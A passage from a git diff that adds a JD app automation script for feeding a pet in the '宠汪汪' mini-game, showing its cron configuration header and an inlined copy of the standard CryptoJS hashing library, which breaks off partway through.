e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_joy_feedPets.js b/jd_joy_feedPets.js new file mode 100644 index 0000000..e3fc9ba --- /dev/null +++ b/jd_joy_feedPets.js @@ -0,0 +1,273 @@ +/* +宠汪汪喂食(如果喂食80g失败,降级一个档次喂食(40g),依次类推),三餐,建议一小时运行一次 +更新时间:2021-6-6 +活动入口:京东APP我的-更多工具-宠汪汪 +支持京东多个账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +==============Quantumult X============== +[task_local] +#京东宠汪汪喂食 +15 0-23/1 * * * jd_joy_feedPets.js, tag=京东宠汪汪喂食, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdcww.png, enabled=true + +==============Loon=============== +[Script] +cron "15 0-23/1 * * *" script-path=jd_joy_feedPets.js,tag=京东宠汪汪喂食 + +=========Surge============= +[Script] +京东宠汪汪喂食 = type=cron,cronexp="15 0-23/1 * * *",wake-system=1,timeout=3600,script-path=jd_joy_feedPets.js + +===============小火箭========== +京东宠汪汪喂食 = type=cron,script-path=jd_joy_feedPets.js, cronexpr="15 0-23/1 * * *", timeout=3600, enable=true +*/ + +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 